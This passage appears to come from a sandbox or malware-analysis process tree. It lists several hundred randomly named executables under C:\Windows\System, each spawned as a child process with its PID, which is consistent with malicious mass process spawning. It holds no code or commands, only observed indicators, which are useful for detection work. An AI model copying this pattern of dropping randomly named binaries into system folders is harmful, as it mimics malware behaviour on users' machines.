  2⤵
  PID:12480
- C:\Windows\System\cDwvCEW.exe
  C:\Windows\System\cDwvCEW.exe
  2⤵
  PID:12516
- C:\Windows\System\onvJfRB.exe
  C:\Windows\System\onvJfRB.exe
  2⤵
  PID:12532
- C:\Windows\System\TDuqcpk.exe
  C:\Windows\System\TDuqcpk.exe
  2⤵
  PID:12564
- C:\Windows\System\GMWadQm.exe
  C:\Windows\System\GMWadQm.exe
  2⤵
  PID:12592
- C:\Windows\System\NbaUDkR.exe
  C:\Windows\System\NbaUDkR.exe
  2⤵
  PID:12620
- C:\Windows\System\qQCwqix.exe
  C:\Windows\System\qQCwqix.exe
  2⤵
  PID:12648
- C:\Windows\System\jDMAXkU.exe
  C:\Windows\System\jDMAXkU.exe
  2⤵
  PID:12692
- C:\Windows\System\QDjodWo.exe
  C:\Windows\System\QDjodWo.exe
  2⤵
  PID:12708
- C:\Windows\System\iEHQpjI.exe
  C:\Windows\System\iEHQpjI.exe
  2⤵
  PID:12732
- C:\Windows\System\lTHksBN.exe
  C:\Windows\System\lTHksBN.exe
  2⤵
  PID:12760
- C:\Windows\System\vKdRupS.exe
  C:\Windows\System\vKdRupS.exe
  2⤵
  PID:12800
- C:\Windows\System\IlTGFeE.exe
  C:\Windows\System\IlTGFeE.exe
  2⤵
  PID:12828
- C:\Windows\System\jmovUYj.exe
  C:\Windows\System\jmovUYj.exe
  2⤵
  PID:12852
- C:\Windows\System\TZNGTvY.exe
  C:\Windows\System\TZNGTvY.exe
  2⤵
  PID:12880
- C:\Windows\System\ngFjyYn.exe
  C:\Windows\System\ngFjyYn.exe
  2⤵
  PID:12904
- C:\Windows\System\ElOvtHY.exe
  C:\Windows\System\ElOvtHY.exe
  2⤵
  PID:12916
- C:\Windows\System\mYHCTuK.exe
  C:\Windows\System\mYHCTuK.exe
  2⤵
  PID:12884
- C:\Windows\System\zcmokUn.exe
  C:\Windows\System\zcmokUn.exe
  2⤵
  PID:4620
- C:\Windows\System\vdjTwMA.exe
  C:\Windows\System\vdjTwMA.exe
  2⤵
  PID:12940
- C:\Windows\System\KNNhKgR.exe
  C:\Windows\System\KNNhKgR.exe
  2⤵
  PID:12992
- C:\Windows\System\ZWbnTKs.exe
  C:\Windows\System\ZWbnTKs.exe
  2⤵
  PID:12996
- C:\Windows\System\DqoHHuT.exe
  C:\Windows\System\DqoHHuT.exe
  2⤵
  PID:13012
- C:\Windows\System\KgOjtHz.exe
  C:\Windows\System\KgOjtHz.exe
  2⤵
  PID:13240
- C:\Windows\System\xImIzYg.exe
  C:\Windows\System\xImIzYg.exe
  2⤵
  PID:12948
- C:\Windows\System\GrjvQMm.exe
  C:\Windows\System\GrjvQMm.exe
  2⤵
  PID:12988
- C:\Windows\System\OwNumpx.exe
  C:\Windows\System\OwNumpx.exe
  2⤵
  PID:13016
- C:\Windows\System\UZeJuMQ.exe
  C:\Windows\System\UZeJuMQ.exe
  2⤵
  PID:12952
- C:\Windows\System\ozsjPPZ.exe
  C:\Windows\System\ozsjPPZ.exe
  2⤵
  PID:3096
- C:\Windows\System\UBdmAxH.exe
  C:\Windows\System\UBdmAxH.exe
  2⤵
  PID:13044
- C:\Windows\System\qLcxGGD.exe
  C:\Windows\System\qLcxGGD.exe
  2⤵
  PID:13064
- C:\Windows\System\ZJIxGeM.exe
  C:\Windows\System\ZJIxGeM.exe
  2⤵
  PID:13072
- C:\Windows\System\srgAagi.exe
  C:\Windows\System\srgAagi.exe
  2⤵
  PID:13264
- C:\Windows\System\AtwIEbG.exe
  C:\Windows\System\AtwIEbG.exe
  2⤵
  PID:13272
- C:\Windows\System\STZmgqU.exe
  C:\Windows\System\STZmgqU.exe
  2⤵
  PID:13292
- C:\Windows\System\JBaZSNJ.exe
  C:\Windows\System\JBaZSNJ.exe
  2⤵
  PID:13308
- C:\Windows\System\IJMnjQq.exe
  C:\Windows\System\IJMnjQq.exe
  2⤵
  PID:12336
- C:\Windows\System\NOTbTON.exe
  C:\Windows\System\NOTbTON.exe
  2⤵
  PID:12436
- C:\Windows\System\lBaxHjg.exe
  C:\Windows\System\lBaxHjg.exe
  2⤵
  PID:12572
- C:\Windows\System\iwlryyW.exe
  C:\Windows\System\iwlryyW.exe
  2⤵
  PID:11696
- C:\Windows\System\CEHbekr.exe
  C:\Windows\System\CEHbekr.exe
  2⤵
  PID:12980
- C:\Windows\System\rgIKYfx.exe
  C:\Windows\System\rgIKYfx.exe
  2⤵
  PID:3104
- C:\Windows\System\EAFRyld.exe
  C:\Windows\System\EAFRyld.exe
  2⤵
  PID:13052
- C:\Windows\System\OYjIOmb.exe
  C:\Windows\System\OYjIOmb.exe
  2⤵
  PID:13096
- C:\Windows\System\RtuvuPZ.exe
  C:\Windows\System\RtuvuPZ.exe
  2⤵
  PID:13112
- C:\Windows\System\fGOKRFc.exe
  C:\Windows\System\fGOKRFc.exe
  2⤵
  PID:13132
- C:\Windows\System\mPzPaPG.exe
  C:\Windows\System\mPzPaPG.exe
  2⤵
  PID:868
- C:\Windows\System\MwyMVSt.exe
  C:\Windows\System\MwyMVSt.exe
  2⤵
  PID:13156
- C:\Windows\System\jYAjGlg.exe
  C:\Windows\System\jYAjGlg.exe
  2⤵
  PID:13176
- C:\Windows\System\wOfRSLF.exe
  C:\Windows\System\wOfRSLF.exe
  2⤵
  PID:13200
- C:\Windows\System\LhubANf.exe
  C:\Windows\System\LhubANf.exe
  2⤵
  PID:13232
- C:\Windows\System\kIVHTds.exe
  C:\Windows\System\kIVHTds.exe
  2⤵
  PID:13284
- C:\Windows\System\DSqCCDy.exe
  C:\Windows\System\DSqCCDy.exe
  2⤵
  PID:12316
- C:\Windows\System\JWBbWzT.exe
  C:\Windows\System\JWBbWzT.exe
  2⤵
  PID:12388
- C:\Windows\System\EVSmToi.exe
  C:\Windows\System\EVSmToi.exe
  2⤵
  PID:12320
- C:\Windows\System\lzMXLNp.exe
  C:\Windows\System\lzMXLNp.exe
  2⤵
  PID:12512
- C:\Windows\System\VLlSvIu.exe
  C:\Windows\System\VLlSvIu.exe
  2⤵
  PID:12524
- C:\Windows\System\nbSxTPl.exe
  C:\Windows\System\nbSxTPl.exe
  2⤵
  PID:12600
- C:\Windows\System\HthVygD.exe
  C:\Windows\System\HthVygD.exe
  2⤵
  PID:12684
- C:\Windows\System\jAldoqa.exe
  C:\Windows\System\jAldoqa.exe
  2⤵
  PID:12700
- C:\Windows\System\VqOvvIY.exe
  C:\Windows\System\VqOvvIY.exe
  2⤵
  PID:12616
- C:\Windows\System\lnAVUGR.exe
  C:\Windows\System\lnAVUGR.exe
  2⤵
  PID:12668
- C:\Windows\System\eOJRgEq.exe
  C:\Windows\System\eOJRgEq.exe
  2⤵
  PID:12820
- C:\Windows\System\eXQrPqV.exe
  C:\Windows\System\eXQrPqV.exe
  2⤵
  PID:12876
- C:\Windows\System\mJMJKBl.exe
  C:\Windows\System\mJMJKBl.exe
  2⤵
  PID:12792
- C:\Windows\System\sZvdYYf.exe
  C:\Windows\System\sZvdYYf.exe
  2⤵
  PID:3552
- C:\Windows\System\BWBzsWl.exe
  C:\Windows\System\BWBzsWl.exe
  2⤵
  PID:12908
- C:\Windows\System\faduKTw.exe
  C:\Windows\System\faduKTw.exe
  2⤵
  PID:13004
- C:\Windows\System\vrNAGan.exe
  C:\Windows\System\vrNAGan.exe
  2⤵
  PID:4624
- C:\Windows\System\suQWCnJ.exe
  C:\Windows\System\suQWCnJ.exe
  2⤵
  PID:13092
- C:\Windows\System\EgZfqFL.exe
  C:\Windows\System\EgZfqFL.exe
  2⤵
  PID:13128
- C:\Windows\System\ufZlONg.exe
  C:\Windows\System\ufZlONg.exe
  2⤵
  PID:13144
- C:\Windows\System\NwlEanW.exe
  C:\Windows\System\NwlEanW.exe
  2⤵
  PID:13168
- C:\Windows\System\OQwMbfQ.exe
  C:\Windows\System\OQwMbfQ.exe
  2⤵
  PID:4696
- C:\Windows\System\LlxswDD.exe
  C:\Windows\System\LlxswDD.exe
  2⤵
  PID:2176
- C:\Windows\System\GBJqcgv.exe
  C:\Windows\System\GBJqcgv.exe
  2⤵
  PID:13300
- C:\Windows\System\ueNZXVQ.exe
  C:\Windows\System\ueNZXVQ.exe
  2⤵
  PID:1760
- C:\Windows\System\PgALIoF.exe
  C:\Windows\System\PgALIoF.exe
  2⤵
  PID:5572
- C:\Windows\System\wecwrFK.exe
  C:\Windows\System\wecwrFK.exe
  2⤵
  PID:12448
- C:\Windows\System\UHGSGPX.exe
  C:\Windows\System\UHGSGPX.exe
  2⤵
  PID:13224
- C:\Windows\System\xqqzatF.exe
  C:\Windows\System\xqqzatF.exe
  2⤵
  PID:4900
- C:\Windows\System\rWWHwsg.exe
  C:\Windows\System\rWWHwsg.exe
  2⤵
  PID:3620
- C:\Windows\System\SeqojlI.exe
  C:\Windows\System\SeqojlI.exe
  2⤵
  PID:4528
- C:\Windows\System\CAzKErG.exe
  C:\Windows\System\CAzKErG.exe
  2⤵
  PID:12640
- C:\Windows\System\tCTENkJ.exe
  C:\Windows\System\tCTENkJ.exe
  2⤵
  PID:12728
- C:\Windows\System\BHpygHJ.exe
  C:\Windows\System\BHpygHJ.exe
  2⤵
  PID:1324
- C:\Windows\System\gMneieD.exe
  C:\Windows\System\gMneieD.exe
  2⤵
  PID:3284
- C:\Windows\System\RSDtbSn.exe
  C:\Windows\System\RSDtbSn.exe
  2⤵
  PID:452
- C:\Windows\System\ydcgspP.exe
  C:\Windows\System\ydcgspP.exe
  2⤵
  PID:4132
- C:\Windows\System\fwCtrPn.exe
  C:\Windows\System\fwCtrPn.exe
  2⤵
  PID:12740
- C:\Windows\System\jCwANNu.exe
  C:\Windows\System\jCwANNu.exe
  2⤵
  PID:12824
- C:\Windows\System\KWLXQdr.exe
  C:\Windows\System\KWLXQdr.exe
  2⤵
  PID:12928
- C:\Windows\System\IlTEmDT.exe
  C:\Windows\System\IlTEmDT.exe
  2⤵
  PID:12896
- C:\Windows\System\TpmByhh.exe
  C:\Windows\System\TpmByhh.exe
  2⤵
  PID:12860
- C:\Windows\System\ZnjNXTl.exe
  C:\Windows\System\ZnjNXTl.exe
  2⤵
  PID:5532
- C:\Windows\System\BIkQjAU.exe
  C:\Windows\System\BIkQjAU.exe
  2⤵
  PID:11460
- C:\Windows\System\xIZswNA.exe
  C:\Windows\System\xIZswNA.exe
  2⤵
  PID:5740
- C:\Windows\System\gRTsIDZ.exe
  C:\Windows\System\gRTsIDZ.exe
  2⤵
  PID:13060
- C:\Windows\System\qGQZivQ.exe
  C:\Windows\System\qGQZivQ.exe
  2⤵
  PID:13140
- C:\Windows\System\qZmnZTA.exe
  C:\Windows\System\qZmnZTA.exe
  2⤵
  PID:4680
- C:\Windows\System\rHXHytx.exe
  C:\Windows\System\rHXHytx.exe
  2⤵
  PID:13228
- C:\Windows\System\FnrsNrY.exe
  C:\Windows\System\FnrsNrY.exe
  2⤵
  PID:13268
- C:\Windows\System\HxJGcoy.exe
  C:\Windows\System\HxJGcoy.exe
  2⤵
  PID:12340
- C:\Windows\System\mXhlcqh.exe
  C:\Windows\System\mXhlcqh.exe
  2⤵
  PID:6184
- C:\Windows\System\kGcJCvG.exe
  C:\Windows\System\kGcJCvG.exe
  2⤵
  PID:5776
- C:\Windows\System\YryARFe.exe
  C:\Windows\System\YryARFe.exe
  2⤵
  PID:6416
- C:\Windows\System\RcksdVw.exe
  C:\Windows\System\RcksdVw.exe
  2⤵
  PID:6492
- C:\Windows\System\Gsigdyd.exe
  C:\Windows\System\Gsigdyd.exe
  2⤵
  PID:3196
- C:\Windows\System\mKBRXxG.exe
  C:\Windows\System\mKBRXxG.exe
  2⤵
  PID:5164
- C:\Windows\System\hrTLqzc.exe
  C:\Windows\System\hrTLqzc.exe
  2⤵
  PID:5416
- C:\Windows\System\pVzLsdV.exe
  C:\Windows\System\pVzLsdV.exe
  2⤵
  PID:5668
- C:\Windows\System\ugMdFBD.exe
  C:\Windows\System\ugMdFBD.exe
  2⤵
  PID:13160
- C:\Windows\System\AQJkkzY.exe
  C:\Windows\System\AQJkkzY.exe
  2⤵
  PID:2408
- C:\Windows\System\JbsQjXK.exe
  C:\Windows\System\JbsQjXK.exe
  2⤵
  PID:13260
- C:\Windows\System\lGJFnpZ.exe
  C:\Windows\System\lGJFnpZ.exe
  2⤵
  PID:12468
- C:\Windows\System\ysuhdVT.exe
  C:\Windows\System\ysuhdVT.exe
  2⤵
  PID:13216
- C:\Windows\System\OIdQhuF.exe
  C:\Windows\System\OIdQhuF.exe
  2⤵
  PID:7140
- C:\Windows\System\ESLIFgO.exe
  C:\Windows\System\ESLIFgO.exe
  2⤵
  PID:6376
- C:\Windows\System\XIcqxKE.exe
  C:\Windows\System\XIcqxKE.exe
  2⤵
  PID:6152
- C:\Windows\System\JvLPpHt.exe
  C:\Windows\System\JvLPpHt.exe
  2⤵
  PID:3068
- C:\Windows\System\HyujasY.exe
  C:\Windows\System\HyujasY.exe
  2⤵
  PID:5088
- C:\Windows\System\fiXhsEl.exe
  C:\Windows\System\fiXhsEl.exe
  2⤵
  PID:12892
- C:\Windows\System\cPjNGdj.exe
  C:\Windows\System\cPjNGdj.exe
  2⤵
  PID:6724
- C:\Windows\System\OsiMOCe.exe
  C:\Windows\System\OsiMOCe.exe
  2⤵
  PID:7036
- C:\Windows\System\spPxqaW.exe
  C:\Windows\System\spPxqaW.exe
  2⤵
  PID:3332
- C:\Windows\System\NxAutVg.exe
  C:\Windows\System\NxAutVg.exe
  2⤵
  PID:2284
- C:\Windows\System\hIEonZV.exe
  C:\Windows\System\hIEonZV.exe
  2⤵
  PID:12660
- C:\Windows\System\VYzrroP.exe
  C:\Windows\System\VYzrroP.exe
  2⤵
  PID:7304
- C:\Windows\System\QchEpki.exe
  C:\Windows\System\QchEpki.exe
  2⤵
  PID:7432
- C:\Windows\System\ubIovzF.exe
  C:\Windows\System\ubIovzF.exe
  2⤵
  PID:7512
- C:\Windows\System\tTEjiIN.exe
  C:\Windows\System\tTEjiIN.exe
  2⤵
  PID:7628
- C:\Windows\System\PurydtU.exe
  C:\Windows\System\PurydtU.exe
  2⤵
  PID:2596
- C:\Windows\System\HmBxqwm.exe
  C:\Windows\System\HmBxqwm.exe
  2⤵
  PID:6256
- C:\Windows\System\rdmkVRk.exe
  C:\Windows\System\rdmkVRk.exe
  2⤵
  PID:7796
- C:\Windows\System\YcrqRjq.exe
  C:\Windows\System\YcrqRjq.exe
  2⤵
  PID:7984
- C:\Windows\System\qXPDluA.exe
  C:\Windows\System\qXPDluA.exe
  2⤵
  PID:4812
- C:\Windows\System\WZBJFDY.exe
  C:\Windows\System\WZBJFDY.exe
  2⤵
  PID:3112
- C:\Windows\System\IpfxGAr.exe
  C:\Windows\System\IpfxGAr.exe
  2⤵
  PID:1284
- C:\Windows\System\vdxUOPo.exe
  C:\Windows\System\vdxUOPo.exe
  2⤵
  PID:7248
- C:\Windows\System\VAxyjsz.exe
  C:\Windows\System\VAxyjsz.exe
  2⤵
  PID:7548
- C:\Windows\System\ZJUCiyy.exe
  C:\Windows\System\ZJUCiyy.exe
  2⤵
  PID:7732
- C:\Windows\System\FKEKvld.exe
  C:\Windows\System\FKEKvld.exe
  2⤵
  PID:7960
- C:\Windows\System\tXQPYHq.exe
  C:\Windows\System\tXQPYHq.exe
  2⤵
  PID:7944
- C:\Windows\System\ZHfEmsp.exe
  C:\Windows\System\ZHfEmsp.exe
  2⤵
  PID:2728
- C:\Windows\System\tCIYoTc.exe
  C:\Windows\System\tCIYoTc.exe
  2⤵
  PID:3036
- C:\Windows\System\YHhLToc.exe
  C:\Windows\System\YHhLToc.exe
  2⤵
  PID:1328
- C:\Windows\System\VlsIdbK.exe
  C:\Windows\System\VlsIdbK.exe
  2⤵
  PID:7588
- C:\Windows\System\tGDmcOR.exe
  C:\Windows\System\tGDmcOR.exe
  2⤵
  PID:7096
- C:\Windows\System\EpMotcT.exe
  C:\Windows\System\EpMotcT.exe
  2⤵
  PID:2356
- C:\Windows\System\PyUPOdP.exe
  C:\Windows\System\PyUPOdP.exe
  2⤵
  PID:8020
- C:\Windows\System\XLPvRuR.exe
  C:\Windows\System\XLPvRuR.exe
  2⤵
  PID:8096
- C:\Windows\System\vBOIgYt.exe
  C:\Windows\System\vBOIgYt.exe
  2⤵
  PID:1924
- C:\Windows\System\MtcDkvi.exe
  C:\Windows\System\MtcDkvi.exe
  2⤵
  PID:1936
- C:\Windows\System\pqwpDIZ.exe
  C:\Windows\System\pqwpDIZ.exe
  2⤵
  PID:4844
- C:\Windows\System\bQLtEvY.exe
  C:\Windows\System\bQLtEvY.exe
  2⤵
  PID:508
- C:\Windows\System\vGZGlti.exe
  C:\Windows\System\vGZGlti.exe
  2⤵
  PID:4684
- C:\Windows\System\hOrKoFm.exe
  C:\Windows\System\hOrKoFm.exe
  2⤵
  PID:8460
- C:\Windows\System\oENQAGQ.exe
  C:\Windows\System\oENQAGQ.exe
  2⤵
  PID:8476
- C:\Windows\System\KHOikLN.exe
  C:\Windows\System\KHOikLN.exe
  2⤵
  PID:8576
- C:\Windows\System\oqxyYAm.exe
  C:\Windows\System\oqxyYAm.exe
  2⤵
  PID:8588
- C:\Windows\System\OKHjWkb.exe
  C:\Windows\System\OKHjWkb.exe
  2⤵
  PID:8524
- C:\Windows\System\KIyAxfi.exe
  C:\Windows\System\KIyAxfi.exe
  2⤵
  PID:8644
- C:\Windows\System\GIHXNkY.exe
  C:\Windows\System\GIHXNkY.exe
  2⤵
  PID:2516
- C:\Windows\System\nKLhCkM.exe
  C:\Windows\System\nKLhCkM.exe
  2⤵
  PID:7608
- C:\Windows\System\DzVWbRM.exe
  C:\Windows\System\DzVWbRM.exe
  2⤵
  PID:3952
- C:\Windows\System\zKaDAyC.exe
  C:\Windows\System\zKaDAyC.exe
  2⤵
  PID:4192
- C:\Windows\System\HFdPAQA.exe
  C:\Windows\System\HFdPAQA.exe
  2⤵
  PID:8760
- C:\Windows\System\UWPLtvi.exe
  C:\Windows\System\UWPLtvi.exe
  2⤵
  PID:4640
- C:\Windows\System\OZjcfqg.exe
  C:\Windows\System\OZjcfqg.exe
  2⤵
  PID:4572
- C:\Windows\System\oLBYLGO.exe
  C:\Windows\System\oLBYLGO.exe
  2⤵
  PID:7760
- C:\Windows\System\wbxgbVY.exe
  C:\Windows\System\wbxgbVY.exe
  2⤵
  PID:7800
- C:\Windows\System\MDzkoHU.exe
  C:\Windows\System\MDzkoHU.exe
  2⤵
  PID:7816
- C:\Windows\System\zcFklah.exe
  C:\Windows\System\zcFklah.exe
  2⤵
  PID:2468
- C:\Windows\System\QGbrGmN.exe
  C:\Windows\System\QGbrGmN.exe
  2⤵
  PID:6584
- C:\Windows\System\kkbxzqy.exe
  C:\Windows\System\kkbxzqy.exe
  2⤵
  PID:7956
- C:\Windows\System\zpzEyjg.exe
  C:\Windows\System\zpzEyjg.exe
  2⤵
  PID:9020
- C:\Windows\System\XfkOded.exe
  C:\Windows\System\XfkOded.exe
  2⤵
  PID:9092
- C:\Windows\System\yQlVzBm.exe
  C:\Windows\System\yQlVzBm.exe
  2⤵
  PID:9160
- C:\Windows\System\ZizPHin.exe
  C:\Windows\System\ZizPHin.exe
  2⤵
  PID:4080
- C:\Windows\System\KASymCG.exe
  C:\Windows\System\KASymCG.exe
  2⤵
  PID:4200
- C:\Windows\System\VkZsaLO.exe
  C:\Windows\System\VkZsaLO.exe
  2⤵
  PID:4272
- C:\Windows\System\pdweLyy.exe
  C:\Windows\System\pdweLyy.exe
  2⤵
  PID:4088
- C:\Windows\System\izdAgkR.exe
  C:\Windows\System\izdAgkR.exe
  2⤵
  PID:8428
- C:\Windows\System\dkyNRYA.exe
  C:\Windows\System\dkyNRYA.exe
  2⤵
  PID:7376
- C:\Windows\System\SsCwoQj.exe
  C:\Windows\System\SsCwoQj.exe
  2⤵
  PID:7500
- C:\Windows\System\YGpEHYY.exe
  C:\Windows\System\YGpEHYY.exe
  2⤵
  PID:2664
- C:\Windows\System\gFAqVfb.exe
  C:\Windows\System\gFAqVfb.exe
  2⤵
  PID:6620
- C:\Windows\System\ysxHDqP.exe
  C:\Windows\System\ysxHDqP.exe
  2⤵
  PID:3576
- C:\Windows\System\bFUWbEr.exe
  C:\Windows\System\bFUWbEr.exe
  2⤵
  PID:7452
- C:\Windows\System\QeCLBUY.exe
  C:\Windows\System\QeCLBUY.exe
  2⤵
  PID:808
- C:\Windows\System\Hkkoily.exe
  C:\Windows\System\Hkkoily.exe
  2⤵
  PID:7820
- C:\Windows\System\LPaaaeF.exe
  C:\Windows\System\LPaaaeF.exe
  2⤵
  PID:7892
- C:\Windows\System\TuoeEJb.exe
  C:\Windows\System\TuoeEJb.exe
  2⤵
  PID:8000
- C:\Windows\System\MeVQclS.exe
  C:\Windows\System\MeVQclS.exe
  2⤵
  PID:7592
- C:\Windows\System\SfHvQzd.exe
  C:\Windows\System\SfHvQzd.exe
  2⤵
  PID:9060
- C:\Windows\System\ISLuEgA.exe
  C:\Windows\System\ISLuEgA.exe
  2⤵
  PID:2788
- C:\Windows\System\rnFVMZc.exe
  C:\Windows\System\rnFVMZc.exe
  2⤵
  PID:2188
- C:\Windows\System\UvLXUlB.exe
  C:\Windows\System\UvLXUlB.exe
  2⤵
  PID:3152
- C:\Windows\System\QhdMSdw.exe
  C:\Windows\System\QhdMSdw.exe
  2⤵
  PID:8120
- C:\Windows\System\dAeEhZn.exe
  C:\Windows\System\dAeEhZn.exe
  2⤵
  PID:3644
- C:\Windows\System\IVvObkn.exe
  C:\Windows\System\IVvObkn.exe
  2⤵
  PID:1060
- C:\Windows\System\aEWsUZT.exe
  C:\Windows\System\aEWsUZT.exe
  2⤵
  PID:1836
- C:\Windows\System\ZXAwEoP.exe
  C:\Windows\System\ZXAwEoP.exe
  2⤵
  PID:12184
- C:\Windows\System\qLQWZWQ.exe
  C:\Windows\System\qLQWZWQ.exe
  2⤵
  PID:9452
- C:\Windows\System\LSwVrbT.exe
  C:\Windows\System\LSwVrbT.exe
  2⤵
  PID:912
- C:\Windows\System\xXEslvS.exe
  C:\Windows\System\xXEslvS.exe
  2⤵
  PID:1648
- C:\Windows\System\lgNEWMs.exe
  C:\Windows\System\lgNEWMs.exe
  2⤵
  PID:9560
- C:\Windows\System\iZoNQrZ.exe
  C:\Windows\System\iZoNQrZ.exe
  2⤵
  PID:4324
- C:\Windows\System\uthdRnj.exe
  C:\Windows\System\uthdRnj.exe
  2⤵
  PID:9668
- C:\Windows\System\RywNHIM.exe
  C:\Windows\System\RywNHIM.exe
  2⤵
  PID:9692
- C:\Windows\System\hWpsaLN.exe
  C:\Windows\System\hWpsaLN.exe
  2⤵
  PID:3116
- C:\Windows\System\WbaaDSN.exe
  C:\Windows\System\WbaaDSN.exe
  2⤵
  PID:8580
- C:\Windows\System\PpeJOHL.exe
  C:\Windows\System\PpeJOHL.exe
  2⤵
  PID:1108
- C:\Windows\System\OdfwwQt.exe
  C:\Windows\System\OdfwwQt.exe
  2⤵
  PID:7164
- C:\Windows\System\lEvDhdN.exe
  C:\Windows\System\lEvDhdN.exe
  2⤵
  PID:12724
- C:\Windows\System\sUyWvEl.exe
  C:\Windows\System\sUyWvEl.exe
  2⤵
  PID:6524
- C:\Windows\System\UhvmMLl.exe
  C:\Windows\System\UhvmMLl.exe
  2⤵
  PID:3256
- C:\Windows\System\nwiyMTJ.exe
  C:\Windows\System\nwiyMTJ.exe
  2⤵
  PID:7476
- C:\Windows\System\KlmWzNa.exe
  C:\Windows\System\KlmWzNa.exe
  2⤵
  PID:12808
- C:\Windows\System\qyKevmJ.exe
  C:\Windows\System\qyKevmJ.exe
  2⤵
  PID:11692
- C:\Windows\System\JVpFLmB.exe
  C:\Windows\System\JVpFLmB.exe
  2⤵
  PID:7648
- C:\Windows\System\AfvHPAU.exe
  C:\Windows\System\AfvHPAU.exe
  2⤵
  PID:2740
- C:\Windows\System\mJGOabP.exe
  C:\Windows\System\mJGOabP.exe
  2⤵
  PID:3320
- C:\Windows\System\uJuJHvT.exe
  C:\Windows\System\uJuJHvT.exe
  2⤵
  PID:6732
- C:\Windows\System\AADNpde.exe
  C:\Windows\System\AADNpde.exe
  2⤵
  PID:1116
- C:\Windows\System\nnyNazi.exe
  C:\Windows\System\nnyNazi.exe
  2⤵
  PID:1100
- C:\Windows\System\NOlOlSo.exe
  C:\Windows\System\NOlOlSo.exe
  2⤵
  PID:4596
- C:\Windows\System\eTnjbSJ.exe
  C:\Windows\System\eTnjbSJ.exe
  2⤵
  PID:9512
- C:\Windows\System\icDfSsl.exe
  C:\Windows\System\icDfSsl.exe
  2⤵
  PID:4772
- C:\Windows\System\rTEpLWk.exe
  C:\Windows\System\rTEpLWk.exe
  2⤵
  PID:3652
- C:\Windows\System\GPBCKTp.exe
  C:\Windows\System\GPBCKTp.exe
  2⤵
  PID:3872
- C:\Windows\System\GieLYWW.exe
  C:\Windows\System\GieLYWW.exe
  2⤵
  PID:9132
- C:\Windows\System\lKhrflD.exe
  C:\Windows\System\lKhrflD.exe
  2⤵
  PID:1604
- C:\Windows\System\kkhirGA.exe
  C:\Windows\System\kkhirGA.exe
  2⤵
  PID:9472
- C:\Windows\System\ppZclfQ.exe
  C:\Windows\System\ppZclfQ.exe
  2⤵
  PID:9964
- C:\Windows\System\IpLISRs.exe
  C:\Windows\System\IpLISRs.exe
  2⤵
  PID:5420
- C:\Windows\System\LHKWxRH.exe
  C:\Windows\System\LHKWxRH.exe
  2⤵
  PID:10244
- C:\Windows\System\gFWAKfG.exe
  C:\Windows\System\gFWAKfG.exe
  2⤵
  PID:1620
- C:\Windows\System\mgsZEfC.exe
  C:\Windows\System\mgsZEfC.exe
  2⤵
  PID:7576
- C:\Windows\System\IjvuoIz.exe
  C:\Windows\System\IjvuoIz.exe
  2⤵
  PID:7664
- C:\Windows\System\reeXjaT.exe
  C:\Windows\System\reeXjaT.exe
  2⤵
  PID:4976
- C:\Windows\System\nHbcQCF.exe
  C:\Windows\System\nHbcQCF.exe
  2⤵
  PID:7844
- C:\Windows\System\qVnZKkb.exe
  C:\Windows\System\qVnZKkb.exe
  2⤵
  PID:3876
- C:\Windows\System\QnQszYq.exe
  C:\Windows\System\QnQszYq.exe
  2⤵
  PID:10600
- C:\Windows\System\XoReVru.exe
  C:\Windows\System\XoReVru.exe
  2⤵
  PID:464
- C:\Windows\System\fXsPtif.exe
  C:\Windows\System\fXsPtif.exe
  2⤵
  PID:3768
- C:\Windows\System\UoEMZJg.exe
  C:\Windows\System\UoEMZJg.exe
  2⤵
  PID:10748
- C:\Windows\System\lGimmIu.exe
  C:\Windows\System\lGimmIu.exe
  2⤵
  PID:5484
- C:\Windows\System\HRsFqmH.exe
  C:\Windows\System\HRsFqmH.exe
  2⤵
  PID:10940
- C:\Windows\System\PscMbOC.exe
  C:\Windows\System\PscMbOC.exe
  2⤵
  PID:10440
- C:\Windows\System\FiwbkSn.exe
  C:\Windows\System\FiwbkSn.exe
  2⤵
  PID:9620
- C:\Windows\System\AjLyEcx.exe
  C:\Windows\System\AjLyEcx.exe
  2⤵
  PID:8464
- C:\Windows\System\VGGsNEL.exe
  C:\Windows\System\VGGsNEL.exe
  2⤵
  PID:1624
- C:\Windows\System\YnUQpBV.exe
  C:\Windows\System\YnUQpBV.exe
  2⤵
  PID:10912
- C:\Windows\System\WgcXcZd.exe
  C:\Windows\System\WgcXcZd.exe
  2⤵
  PID:8608
- C:\Windows\System\MSCvhbN.exe
  C:\Windows\System\MSCvhbN.exe
  2⤵
  PID:6100
- C:\Windows\System\MnFAaaw.exe
  C:\Windows\System\MnFAaaw.exe
  2⤵
  PID:8720
- C:\Windows\System\xaDLPuh.exe
  C:\Windows\System\xaDLPuh.exe
  2⤵
  PID:7652
- C:\Windows\System\tpYbdHd.exe
  C:\Windows\System\tpYbdHd.exe
  2⤵
  PID:11004
- C:\Windows\System\wIeNjlF.exe
  C:\Windows\System\wIeNjlF.exe
  2⤵
  PID:8832
- C:\Windows\System\mhxvQVB.exe
  C:\Windows\System\mhxvQVB.exe
  2⤵
  PID:3440
- C:\Windows\System\bAudntt.exe
  C:\Windows\System\bAudntt.exe
  2⤵
  PID:11444
- C:\Windows\System\TPfEMNo.exe
  C:\Windows\System\TPfEMNo.exe
  2⤵
  PID:2236
- C:\Windows\System\RShjPkc.exe
  C:\Windows\System\RShjPkc.exe
  2⤵
  PID:11528
- C:\Windows\System\JQErZKK.exe
  C:\Windows\System\JQErZKK.exe
  2⤵
  PID:7824
- C:\Windows\System\AwKOjVb.exe
  C:\Windows\System\AwKOjVb.exe
  2⤵
  PID:4824
- C:\Windows\System\EohIGqB.exe
  C:\Windows\System\EohIGqB.exe
  2⤵
  PID:8016
- C:\Windows\System\UkuCXRW.exe
  C:\Windows\System\UkuCXRW.exe
  2⤵
  PID:2360
- C:\Windows\System\BHxaCSi.exe
  C:\Windows\System\BHxaCSi.exe
  2⤵
  PID:10192
- C:\Windows\System\qjRbXCk.exe
  C:\Windows\System\qjRbXCk.exe
  2⤵
  PID:5512
- C:\Windows\System\SfOziAu.exe
  C:\Windows\System\SfOziAu.exe
  2⤵
  PID:1432
- C:\Windows\System\zgirvOD.exe
  C:\Windows\System\zgirvOD.exe
  2⤵
  PID:544
- C:\Windows\System\dzkTqbb.exe
  C:\Windows\System\dzkTqbb.exe
  2⤵
  PID:1252
- C:\Windows\System\lNlixfK.exe
  C:\Windows\System\lNlixfK.exe
  2⤵
  PID:5184
- C:\Windows\System\YDZEHHh.exe
  C:\Windows\System\YDZEHHh.exe
  2⤵
  PID:4580
- C:\Windows\System\dPTSpCF.exe
  C:\Windows\System\dPTSpCF.exe
  2⤵
  PID:5380
- C:\Windows\System\RyNcZlH.exe
